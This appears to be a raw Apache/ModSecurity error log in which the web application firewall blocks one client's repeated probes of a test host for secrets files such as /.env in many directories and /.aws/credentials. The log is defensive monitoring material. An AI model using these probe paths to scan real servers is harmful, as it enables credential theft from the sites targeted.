[Wed Feb 25 06:04:27.116417 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9gAAAAc&quot;]
[Wed Feb 25 06:04:27.116698 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9gAAAAc&quot;]
[Wed Feb 25 06:04:27.116890 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9gAAAAc&quot;]
[Wed Feb 25 06:04:27.221438 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9wAAAAc&quot;]
[Wed Feb 25 06:04:27.221725 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9wAAAAc&quot;]
[Wed Feb 25 06:04:27.221931 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9wAAAAc&quot;]
[Wed Feb 25 06:04:27.255083 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX-AAAAAc&quot;]
[Wed Feb 25 06:04:27.255360 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX-AAAAAc&quot;]
[Wed Feb 25 06:04:27.255553 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX-AAAAAc&quot;]
[Wed Feb 25 06:04:27.370565 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX-QAAAAc&quot;]
[Wed Feb 25 06:04:27.370872 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX-QAAAAc&quot;]
[Wed Feb 25 06:04:27.371062 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX-QAAAAc&quot;]
[Wed Feb 25 06:04:27.607264 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JAAAAAM&quot;]
[Wed Feb 25 06:04:27.607567 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JAAAAAM&quot;]
[Wed Feb 25 06:04:27.607756 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JAAAAAM&quot;]
[Wed Feb 25 06:04:27.686222 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JQAAAAM&quot;]
[Wed Feb 25 06:04:27.686509 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JQAAAAM&quot;]
[Wed Feb 25 06:04:27.686665 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JQAAAAM&quot;]
[Wed Feb 25 06:04:27.733556 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JgAAAAM&quot;]
[Wed Feb 25 06:04:27.733831 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JgAAAAM&quot;]
[Wed Feb 25 06:04:27.734006 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JgAAAAM&quot;]
[Wed Feb 25 06:04:27.795485 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JwAAAAM&quot;]
[Wed Feb 25 06:04:27.795757 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JwAAAAM&quot;]
[Wed Feb 25 06:04:27.795952 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5JwAAAAM&quot;]
[Wed Feb 25 06:04:27.913418 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ6C2-TWwZsZM3_RktVCkwAAAAU&quot;]
[Wed Feb 25 06:04:27.913723 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ6C2-TWwZsZM3_RktVCkwAAAAU&quot;]
[Wed Feb 25 06:04:27.913902 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ6C2-TWwZsZM3_RktVCkwAAAAU&quot;]
[Wed Feb 25 06:04:27.930876 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5KAAAAAM&quot;]
[Wed Feb 25 06:04:27.931155 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5KAAAAAM&quot;]
[Wed Feb 25 06:04:27.931340 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5KAAAAAM&quot;]
[Wed Feb 25 06:04:27.997610 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5KQAAAAM&quot;]
[Wed Feb 25 06:04:27.997880 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5KQAAAAM&quot;]
[Wed Feb 25 06:04:27.998059 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ6C27Zegw_qLbSTRXm5KQAAAAM&quot;]
